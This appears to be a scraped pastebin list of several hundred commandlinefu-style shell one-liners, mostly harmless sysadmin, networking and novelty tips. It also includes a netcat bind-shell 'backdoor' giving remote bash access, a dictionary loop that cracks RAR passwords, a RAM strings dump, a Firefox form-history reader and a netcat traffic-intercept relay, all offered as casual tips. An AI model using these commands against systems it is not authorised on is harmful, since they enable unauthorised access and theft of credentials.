· 8 years ago · Jul 13, 2018, 11:18 PM
1
2# Run the last command as root
3sudo !!
4
5# Serve current directory tree at http://$HOSTNAME:8000/
6python -m SimpleHTTPServer
7
8# Save a file you edited in vim without the needed permissions
9:w !sudo tee %
10
11# change to the previous working directory
12cd -
13
14# Runs previous command but replacing
15^foo^bar
16
17# quickly backup or copy a file with bash
18cp filename{,.bak}
19
20# mtr, better than traceroute and ping combined
21mtr google.com
22
23# Check command history, but avoid running it
24!whatever:p
25
26# Copy ssh keys to user@host to enable password-less ssh logins.
27$ssh-copy-id user@host
28
29# Rapidly invoke an editor to write a long, complex, or tricky command
30ctrl-x e
31
32# Capture video of a linux desktop
33ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg
34
35# Empty a file
36> file.txt
37
38# Salvage a borked terminal
39reset
40
41# start a tunnel from some machine's port 80 to your local post 2001
42ssh -N -L2001:localhost:80 somemachine
43
44# Update twitter via curl
45curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
46
47# Execute a command at a given time
48echo "ls -l" | at midnight
49
50# output your microphone to a remote computer's speaker
51dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp
52
53# Mount a temporary ram partition
54mount -t tmpfs tmpfs /mnt -o size=1024m
55
56# Compare a remote file with a local file
57ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
58
59# Lists all listening ports together with the PID of the associated process
60netstat -tlnp
61
62# currently mounted filesystems in nice layout
63mount | column -t
64
65# Runs previous command replacing foo by bar every time that foo appears
66!!:gs/foo/bar
67
68# Like top, but for files
69watch -d -n 2 'df; ls -FlAt;'
70
71# Mount folder/filesystem through SSH
72sshfs name@server:/path/to/folder /path/to/mount/point
73
74# Query Wikipedia via console over DNS
75dig +short txt <keyword>.wp.dg.cx
76
77
78
79# Place the argument of the most recent command on the shell
80'ALT+.' or '<ESC> .'
81
82# Execute a command without saving it in the history
83<space>command
84
85# Download an entire website
86wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com
87
88# List the size (in human readable form) of all sub folders from the current location
89du -h --max-depth=1
90
91# Display the top ten running processes - sorted by memory usage
92ps aux | sort -nk +4 | tail
93
94# Quick access to the ascii table.
95man ascii
96
97# A very simple and useful stopwatch
98time read (ctrl-d to stop)
99
100# Shutdown a Windows machine from Linux
101net rpc shutdown -I ipAddressOfWindowsPC -U username%password
102
103# Jump to a directory, execute a command and jump back to current dir
104(cd /tmp && ls)
105
106# SSH connection through host in the middle
107ssh -t reachable_host ssh unreachable_host
108
109# Clear the terminal screen
110ctrl-l
111
112# Set audible alarm when an IP address comes online
113ping -i 60 -a IP_address
114
115# List of commands you use most often
116history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
117
118# Check your unread Gmail from the command line
119curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;'
120
121# Make 'less' behave like 'tail -f'.
122less +F somelogfile
123
124# Reboot machine when everything is hanging
125<alt> + <print screen/sys rq> + <R> - <S> - <E> - <I> - <U> - <B>
126
127# Watch Star Wars via telnet
128telnet towel.blinkenlights.nl
129
130# Backticks are evil
131echo "The date is: $(date +%D)"
132
133# Watch Network Service Activity in Real-time
134lsof -i
135
136# python smtp server
137python -m smtpd -n -c DebuggingServer localhost:1025
138
139# Rip audio from a video file.
140mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>
141
142# Simulate typing
143echo "You can simulate on-screen typing just like in the movies" | pv -qL 10
144
145# Display a block of text with AWK
146awk '/start_pattern/,/stop_pattern/' file.txt
147
148# Matrix Style
149tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
150
151# Easily search running processes (alias).
152alias 'ps?'='ps ax | grep '
153
154
155
156# diff two unsorted files without creating temporary files
157diff <(sort file1) <(sort file2)
158
159# Set CDPATH to ease navigation
160CDPATH=:..:~:~/projects
161
162# A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
163sudo dd if=/dev/mem | cat | strings
164
165# Extract tarball from internet without local saving
166wget -qO - "http://www.tarball.com/tarball.gz" | tar zxvf -
167
168# Close shell keeping all subprocess running
169disown -a && exit
170
171# Copy your SSH public key on a remote machine for passwordless login - the easy way
172ssh-copy-id username@hostname
173
174# Display which distro is installed
175cat /etc/issue
176
177# Stream YouTube URL directly to mplayer.
178mplayer -fs $(echo "http://youtube.com/get_video.php?$(curl -s $youtube_url | sed -n "/watch_fullscreen/s;.*\(video_id.\+\)&title.*;\1;p")")
179
180# Sharing file through http 80 port
181nc -w 5 -v -l -p 80 < file.ext
182
183# Create a script of the last executed command
184echo "!!" > foo.sh
185
186# Kills a process that is locking a file.
187fuser -k filename
188
189# Inserts the results of an autocompletion in the command line
190ESC *
191
192# Find the process you are looking for minus the grepped one
193ps aux | grep [p]rocess-name
194
195# Graph # of connections for each hosts.
196netstat -an | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }'
197
198# Show apps that use internet connection at the moment. (Multi-Language)
199lsof -P -i -n
200
201# Push your present working directory to a stack that you can pop later
202pushd /tmp
203
204# 32 bits or 64 bits?
205getconf LONG_BIT
206
207# Reuse all parameter of the previous command line
208!*
209
210# Display a cool clock on your terminal
211watch -t -n1 "date +%T|figlet"
212
213# Create a CD/DVD ISO image from disk.
214readom dev=/dev/scd0 f=/path/to/image.iso
215
216# Mount a .iso file in UNIX/Linux
217mount /path/to/file.iso /mnt/cdrom -oloop
218
219# Define a quick calculator function
220? () { echo "$*" | bc -l; }
221
222# Convert seconds to human-readable format
223date -d@1234567890
224
225# Graphical tree of sub-directories
226ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
227
228# Google Translate
229translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
230
231
232
233# Check your unread Gmail from the command line
234curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '<entry>' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/<title>\(.*\)<\/title.*name>\(.*\)<\/name>.*/\2 - \1/p"
235
236# Create a backdoor on a machine to allow remote connection to bash
237nc -vv -l -p 1234 -e /bin/bash
238
239# Monitor progress of a command
240pv access.log | gzip > access.log.gz
241
242# Get the 10 biggest files/folders for the current direcotry
243du -s * | sort -n | tail
244
245# Binary Clock
246watch -n 1 'echo "obase=2;`date +%s`" | bc'
247
248# Job Control
249^Z $bg $disown
250
251# Remove duplicate entries in a file without sorting.
252awk '!x[$0]++' <file>
253
254# Add Password Protection to a file your editing in vim.
255vim -x <FILENAME>
256
257# Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
258du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e'
259
260# escape any command aliases
261\[command]
262
263# Run a command only when load average is below a certain threshold
264echo "rm -rf /unwanted-but-large/folder" | batch
265
266# return external ip
267curl icanhazip.com
268
269# Open Finder from the current Terminal location
270open .
271
272# Bring the word under the cursor on the :ex line in Vim
273:<C-R><C-W>
274
275# Generate a random password 30 characters long
276strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
277
278# Show apps that use internet connection at the moment. (Multi-Language)
279ss -p
280
281# Easy and fast access to often executed commands that are very long and complex.
282some_very_long_and_complex_command # label
283
284# Send pop-up notifications on Gnome
285notify-send ["<title>"] "<body>"
286
287# Create a persistent connection to a machine
288ssh -MNf <user>@<host>
289
290# check site ssl certificate dates
291echo | openssl s_client -connect www.google.com:443 2>/dev/null |openssl x509 -dates -noout
292
293# Get your external IP address
294curl ifconfig.me
295
296# directly ssh to host B that is only accessible through host A
297ssh -t hostA ssh hostB
298
299# Record a screencast and convert it to an mpeg
300ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg
301
302# Manually Pause/Unpause Firefox Process with POSIX-Signals
303killall -STOP -m firefox
304
305# which program is this port belongs to ?
306lsof -i tcp:80
307
308
309
310# Share a terminal screen with others
311% screen -r someuser/
312
313# quickly rename a file
314mv filename.{old,new}
315
316# read manpage of a unix command as pdf in preview (Os X)
317man -t UNIX_COMMAND | open -f -a preview
318
319# Processor / memory bandwidthd? in GB/s
320dd if=/dev/zero of=/dev/null bs=1M count=32768
321
322# Download all images from a site
323wget -r -l1 --no-parent -nH -nd -P/tmp -A".gif,.jpg" http://example.com/images
324
325# intercept stdout/stderr of another process
326strace -ff -e trace=write -e write=1,2 -p SOME_PID
327
328# Remove security limitations from PDF documents using ghostscript
329gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf
330
331# Pipe stdout and stderr, etc., to separate commands
332some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
333
334# Attach screen over ssh
335ssh -t remote_host screen -r
336
337# Show a 4-way scrollable process tree with full details.
338ps awwfux | less -S
339
340# Edit a file on a remote host using vim
341vim scp://username@host//path/to/somefile
342
343# Monitor the queries being run by MySQL
344watch -n 1 mysqladmin --user=<user> --password=<password> processlist
345
346# Print all the lines between 10 and 20 of a file
347sed -n '10,20p' <filename>
348
349# A robust, modular log coloriser
350ccze
351
352# To print a specific line from a file
353sed -n 5p <file>
354
355# Remove all files previously extracted from a tar(.gz) file.
356tar -tf <file.tar.gz> | xargs rm -r
357
358# Gets a random Futurama quote from /.
359curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2
360
361# find geographical location of an ip address
362lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\'
363
364# Make directory including intermediate directories
365mkdir -p a/long/directory/path
366
367# Prettify an XML file
368tidy -xml -i -m [file]
369
370# Alias HEAD for automatic smart output
371alias head='head -n $((${LINES:-`tput lines 2>/dev/null||echo -n 12`} - 2))'
372
373# prints line numbers
374nl
375
376# Search commandlinefu.com from the command line using the API
377cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"; }
378
379# Backup all MySQL Databases to individual files
380for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done
381
382# Port Knocking!
383knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000
384
385
386
387# (Debian/Ubuntu) Discover what package a file belongs to
388dpkg -S /usr/bin/ls
389
390# Eavesdrop on your system
391diff <(lsof -p 1234) <(sleep 10; lsof -p 1234)
392
393# Exclude .svn, .git and other VCS junk for a pristine tarball
394tar --exclude-vcs -cf src.tar src/
395
396# List only the directories
397ls -d */
398
399# Find Duplicate Files (based on size first, then MD5 hash)
400find -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate
401
402# Draw a Sierpinski triangle
403perl -e 'print "P1\n256 256\n", map {$_&($_>>8)?1:0} (0..0xffff)' | display
404
405# Colorized grep in less
406grep --color=always | less -R
407
408# Add timestamp to history
409export HISTTIMEFORMAT="%F %T "
410
411# Perform a branching conditional
412true && { echo success;} || { echo failed; }
413
414# Block known dirty hosts from reaching your machine
415wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'
416
417# Display a list of committers sorted by the frequency of commits
418svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr
419
420# make directory tree
421mkdir -p work/{d1,d2}/{src,bin,bak}
422
423# List the number and type of active network connections
424netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c
425
426# Press Any Key to Continue
427read -sn 1 -p "Press any key to continue..."
428
429# Run a file system check on your next boot.
430sudo touch /forcefsck
431
432# Show apps that use internet connection at the moment.
433lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2
434
435# send echo to socket network
436echo "foo" > /dev/tcp/192.168.1.2/25
437
438# Cracking a password protected .rar file
439for i in $(cat dict.txt);do unrar e -p$i protected.rar; if [ $? = 0 ];then echo "Passwd Found: $i";break;fi;done
440
441# Create a nifty overview of the hardware in your computer
442lshw -html > hardware.html
443
444# exit without saving history
445kill -9 $$
446
447# Use lynx to run repeating website actions
448lynx -accept_all_cookies -cmd_script=/your/keystroke-file
449
450# Save your sessions in vim to resume later
451:mksession! <filename>
452
453# runs a bash script in debugging mode
454bash -x ./post_to_commandlinefu.sh
455
456# Convert PDF to JPG
457for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 $file `echo $file | sed 's/\.pdf$/\.jpg/'`; done
458
459# Create a quick back-up copy of a file
460cp file.txt{,.bak}
461
462
463
464# Delete all files in a folder that don't match a certain file extension
465rm !(*.foo|*.bar|*.baz)
466
467# Create colorized html file from Vim or Vimdiff
468:TOhtml
469
470# Define words and phrases with google.
471define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Po '(?<=<li>)[^<]+'|nl|perl -MHTML::Entities -pe 'decode_entities($_)' 2>/dev/null;}
472
473# perl one-liner to get the current week number
474date +%V
475
476# Listen to BBC Radio from the command line.
477bbcradio() { local s;echo "Select a station:";select s in 1 1x 2 3 4 5 6 7 "Asian Network an" "Nations & Local lcl";do break;done;s=($s);mplayer -playlist "http://www.bbc.co.uk/radio/listen/live/r"${s[@]: -1}".asx";}
478
479# Go to parent directory of filename edited in last command
480cd !$:h
481
482# Compare two directory trees.
483diff <(cd dir1 && find | sort) <(cd dir2 && find | sort)
484
485# Search recursively to find a word or phrase in certain file types, such as C code
486find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \;
487
488# delete a line from your shell history
489history -d
490
491# List recorded formular fields of Firefox
492cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk -F= '{print $2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null
493
494# Create a single-use TCP (or UDP) proxy
495nc -l -p 2000 -c "nc example.org 3000"
496
497# Instead of writing a multiline if/then/else/fi construct you can do that by one line
498[[ test_condition ]] && if_true_do_this || otherwise_do_that
499
500# Get info about remote host ports and OS detection
501nmap -sS -P0 -sV -O <target>
502
503# Copy a MySQL Database to a new Server via SSH with one command
504mysqldump --add-drop-table --extended-insert --force --log-error=error.log -uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME"
505
506# Use tee + process substitution to split STDOUT to multiple commands
507some_command | tee >(command1) >(command2) >(command3) ... | command4
508
509# Speed up launch of firefox
510find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;
511
512# Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
513cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys"
514
515# April Fools' Day Prank
516PROMPT_COMMAND='if [ $RANDOM -le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi'
517
518# easily find megabyte eating files or directories
519alias dush="du -sm *|sort -n|tail"
520
521# Show File System Hierarchy
522man hier
523
524# Colorful man
525apt-get install most && update-alternatives --set pager /usr/bin/most
526
527# Create an audio test CD of sine waves from 1 to 99 Hz
528(echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda -r44100 -c2 $f.cdda synth 30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; done) > cdrdao.toc && cdrdao write cdrdao.toc && rm ??.cdda cdrdao.toc
529
530# Monitor bandwidth by pid
531nethogs -p eth0
532
533# Clean up poorly named TV shows.
534rename -v 's/.*[s,S](\d{2}).*[e,E](\d{2}).*\.avi/SHOWNAME\ S$1E$2.avi/' poorly.named.file.s01e01.avi
535
536# convert unixtime to human-readable
537date -d @1234567890
538
539
540
541# Show current working directory of a process
542pwdx pid
543
544# Diff on two variables
545diff <(echo "$a") <(echo "$b")
546
547# Recursively change permissions on files, leave directories alone.
548find ./ -type f -exec chmod 644 {} \;
549
550# List all files opened by a particular command
551lsof -c dhcpd
552
553# Nicely display permissions in octal format with filename
554stat -c '%A %a %n' *
555
556# Base conversions with bc
557echo "obase=2; 27" | bc -l
558
559# Brute force discover
560sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "%6s\t%s\n", a[i], i|"sort -n"}'
561
562# Remind yourself to leave in 15 minutes
563leave +15
564
565# Find files that have been modified on your system in the past 60 minutes
566sudo find / -mmin 60 -type f
567
568# Start a command on only one CPU core
569taskset -c 0 your_command
570
571# Show biggest files/directories, biggest first with 'k,m,g' eyecandy
572du --max-depth=1 | sort -r -n | awk '{split("k m g",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}'
573
574# How to establish a remote Gnu screen session that you can re-connect to
575ssh -t user@some.domain.com /usr/bin/screen -xRR
576
577# Intercept, monitor and manipulate a TCP connection.
578mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo
579
580# Analyse an Apache access log for the most common IP addresses
581tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail
582
583# Colored diff ( via vim ) on 2 remotes files on your local computer.
584vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@server-bar.com//etc/snmp/snmpd.conf
585
586# View the newest xkcd comic.
587xkcd(){ wget -qO- http://xkcd.com/|tee >(feh $(grep -Po '(?<=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(?=" alt)';}
588
589# Get your external IP address
590curl ip.appspot.com
591
592# Execute a command with a timeout
593timeout 10 sleep 11
594
595# Search for a <pattern> string inside all files in the current directory
596grep -RnisI <pattern> *
597
598# Find files that were modified by a given command
599touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file
600
601# use vim to get colorful diff output
602svn diff | view -
603
604# Find Duplicate Files (based on MD5 hash)
605find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33 | cut -c 35-
606
607# Quickly (soft-)reboot skipping hardware checks
608/sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" --initrd=/boot/$INITRD; sync; /sbin/kexec -e
609
610# Have an ssh session open forever
611autossh -M50000 -t server.example.com 'screen -raAd mysession'
612
613# replace spaces in filenames with underscores
614rename 'y/ /_/' *
615
616
617
618# Save an HTML page, and covert it to a .pdf file
619wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &
620
621# DELETE all those duplicate files but one based on md5 hash comparision in the current directory tree
622find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h;($h,$f)=split(/\s+/,$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v --
623
624# Relocate a file or directory, but keep it accessible on the old location throug a simlink.
625mv $1 $2 && ln -s $2/$(basename $1) $(dirname $1)
626
627# Search for commands from the command line
628clfu-seach <search words>
629
630# a short counter
631yes '' | cat -n
632
633# Resume scp of a big file
634rsync --partial --progress --rsh=ssh $file_source $user@$host:$destination_file
635
636# Put readline into vi mode
637set -o vi
638
639# recursive search and replace old with new string, inside files
640$ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/'
641
642# shut of the screen.
643xset dpms force standby
644
645# List the files any process is using
646lsof +p xxxx
647
648# Delete all empty lines from a file with vim
649:g/^$/d
650
651# View facebook friend list [hidden or not hidden]
652lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
653
654# Insert the last argument of the previous command
655<ESC> .
656
657# live ssh network throughput test
658yes | pv | ssh $host "cat > /dev/null"
659
660# Duplicate several drives concurrently
661dd if=/dev/sda | tee >(dd of=/dev/sdb) | dd of=/dev/sdc
662
663# redirect stdout and stderr each to separate files and print both to the screen
664(some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog
665
666# find all active IP addresses in a network
667nmap -sP 192.168.0.*
668
669# Terminal - Show directories in the PATH, one per line with sed and bash3.X `here string'
670tr : '\n' <<<$PATH
671
672# check open ports
673lsof -Pni4 | grep LISTEN
674
675# Triple monitoring in screen
676tmpfile=$(mktemp) && echo -e 'startup_message off\nscreen -t top htop\nsplit\nfocus\nscreen -t nethogs nethogs wlan0\nsplit\nfocus\nscreen -t iotop iotop' > $tmpfile && sudo screen -c $tmpfile
677
678# throttle bandwidth with cstream
679tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup'
680
681# Quickly graph a list of numbers
682gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines")
683
684# When feeling down, this command helps
685sl
686
687# Install a Firefox add-on/theme to all users
688sudo firefox -install-global-extension /path/to/add-on
689
690# ls -hog --> a more compact ls -l
691ls -hog
692
693
694
695# Transfer SSH public key to another machine in one step
696ssh-keygen; ssh-copy-id user@host; ssh user@host
697
698# iso-8859-1 to utf-8 safe recursive rename
699detox -r -s utf_8 /path/to/old/win/files/dir
700
701# Terminate a frozen SSH-session
702RETURN~.
703
704# Get Cisco network information
705tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
706
707# Copy stdin to your X11 buffer
708ssh user@host cat /path/to/some/file | xclip
709
710# Download an entire static website to your local machine
711wget --recursive --page-requisites --convert-links www.moyagraphix.co.za
712
713# Copy a file structure without files
714find * -type d -exec mkdir /where/you/wantem/\{\} \;
715
716# Get list of servers with a specific port open
717nmap -sT -p 80 -oG - 192.168.1.* | grep open
718
719# Start a new command in a new screen window
720alias s='screen -X screen'; s top; s vi; s man ls;
721
722# Efficiently print a line deep in a huge log file
723sed '1000000!d;q' < massive-log-file.log
724
725# Get your outgoing IP address
726dig +short myip.opendns.com @resolver1.opendns.com
727
728# Makes the permissions of file2 the same as file1
729chmod --reference file1 file2
730
731# Recursively remove all empty directories
732find . -type d -empty -delete
733
734# View network activity of any application or user in realtime
735lsof -r 2 -p PID -i -a
736
737# Convert text to picture
738echo -e "Some Text Line1\nSome Text Line 2" | convert -background none -density 196 -resample 72 -unsharp 0x.5 -font "Courier" text:- -trim +repage -bordercolor white -border 3 text.gif
739
740# your terminal sings
741echo {1..199}" bottles of beer on the wall, cold bottle of beer, take one down, pass it around, one less bottle of beer on the wall,, " | espeak -v english -s 140
742
743# a shell function to print a ruler the width of the terminal window.
744ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=$( for (( i=1; $i<=$(( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo -n $s; done ); str=$(echo $str | cut -c -$COLUMNS) ; echo $str; done; }
745
746# Print a list of standard error codes and descriptions.
747perl -le 'print $!+0, "\t", $!++ for 0..127'
748
749# track flights from the command line
750flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }
751
752# analyze traffic remotely over ssh w/ wireshark
753ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i -
754
755# Harder, Faster, Stronger SSH clients
756ssh -4 -C -c blowfish-cbc
757
758# quickest (i blv) way to get the current program name minus the path (BASH)
759path_stripped_programname="${0##*/}"
760
761# A function to output a man page as a pdf file
762function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf -dCompatibility=1.3 - - > ${1}.pdf; }
763
764# a trash function for bash
765trash <file>
766
767# backup all your commandlinefu.com favourites to a plaintext file
768clfavs(){ URL="http://www.commandlinefu.com";wget -O - --save-cookies c --post-data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq 0 25 $3`;do wget -O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;}
769
770
771
772# Remove blank lines from a file using grep and save output to new file
773grep . filename > newfilename
774
775# Identify long lines in a file
776awk 'length>72' file
777
778# Cleanup firefox's database.
779find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;
780
781# get all pdf and zips from a website using wget
782wget --reject html,htm --accept pdf,zip -rl1 url
783
784# Release memory used by the Linux kernel on caches
785free && sync && echo 3 > /proc/sys/vm/drop_caches && free
786
787# Show me a histogram of the busiest minutes in a log file:
788cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}'
789
790# pipe output of a command to your clipboard
791some command|xsel --clipboard
792
793# Print a great grey scale demo !
794yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
795
796# coloured tail
797tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g'
798
799# create an emergency swapfile when the existing swap space is getting tight
800sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000;sudo mkswap /swapfile; sudo swapon /swapfile
801
802# Run a long job and notify me when it's finished
803./my-really-long-job.sh && notify-send "Job finished"
804
805# Make anything more awesome
806command | figlet
807
808# Display current bandwidth statistics
809ifstat -nt
810
811# restoring some data from a corrupted text file
812( cat badfile.log ; tac badfile.log | tac ) > goodfile.log
813
814# How to run X without any graphics hardware
815startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc
816
817# Redirect STDIN
818< /path/to/file.txt grep foo
819
820# clear current line
821CTRL+u
822
823# Add calendar to desktop wallpaper
824convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black -draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg
825
826# Delete all empty lines from a file with vim
827:g!/\S/d
828
829# Get all the keyboard shortcuts in screen
830^A ?
831
832# convert uppercase files to lowercase files
833rename 'y/A-Z/a-z/' *
834
835# Switch 2 characters on a command line.
836ctrl-t
837
838# Change prompt to MS-DOS one (joke)
839export PS1="C:\$( pwd | sed 's:/:\\\\\\:g' )\\> "
840
841# Monitor open connections for httpd including listen, count and sort it per IP
842watch "netstat -plan|grep :80|awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1"
843
844# download and unpack tarball without leaving it sitting on your hard drive
845wget -qO - http://example.com/path/to/blah.tar.gz | tar xzf -
846
847
848
849# Numbers guessing game
850A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read -p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N?$X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries, Einstein";
851
852# Make sure a script is run in a terminal.
853[ -t 0 ] || exit 1
854
855# Unbelievable Shell Colors, Shading, Backgrounds, Effects for Non-X
856for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0;for i in `seq $t 5`;do echo -e "\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d '[0-9]'`\e[0m";done;done
857
858# Matrix Style
859echo -e "\e[32m"; while :; do for i in {1..16}; do r="$(($RANDOM % 2))"; if [[ $(($RANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1 ]]; then v+="\e[1m $r "; else v+="\e[2m $r "; fi; else v+=" "; fi; done; echo -e "$v"; v=""; done
860
861# Backup all MySQL Databases to individual files
862for db in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $db | gzip > "/backups/mysqldump-$(hostname)-$db-$(date +%Y-%m-%d-%H.%M.%S).gz"; done
863
864# How fast is the connexion to a URL, some stats from curl
865URL="http://www.google.com";curl -L --w "$URL\nDNS %{time_namelookup}s conn %{time_connect}s time %{time_total}s\nSpeed %{speed_download}bps Size %{size_download}bytes\n" -o/dev/null -s $URL
866
867# Show directories in the PATH, one per line
868echo "${PATH//:/$'\n'}"
869
870# Schedule a script or command in x num hours, silently run in the background even if logged out
871( ( sleep 2h; your-command your-args ) & )
872
873# find and delete empty dirs, start in current working dir
874find . -empty -type d -exec rmdir {} +
875
876# Move all images in a directory into a directory hierarchy based on year, month and day based on exif information
877exiftool '-Directory<DateTimeOriginal' -d %Y/%m/%d dir
878
879# Get all IPs via ifconfig
880ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1'
881
882# Smiley Face Bash Prompt
883PS1="\`if [ \$? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\^\e[0m; else echo \e[36\;40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)"
884
885# Create a list of binary numbers
886echo {0..1}{0..1}{0..1}{0..1}
887
888# Create a system overview dashboard on F12 key
889bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m"""
890
891# Convert "man page" to text file
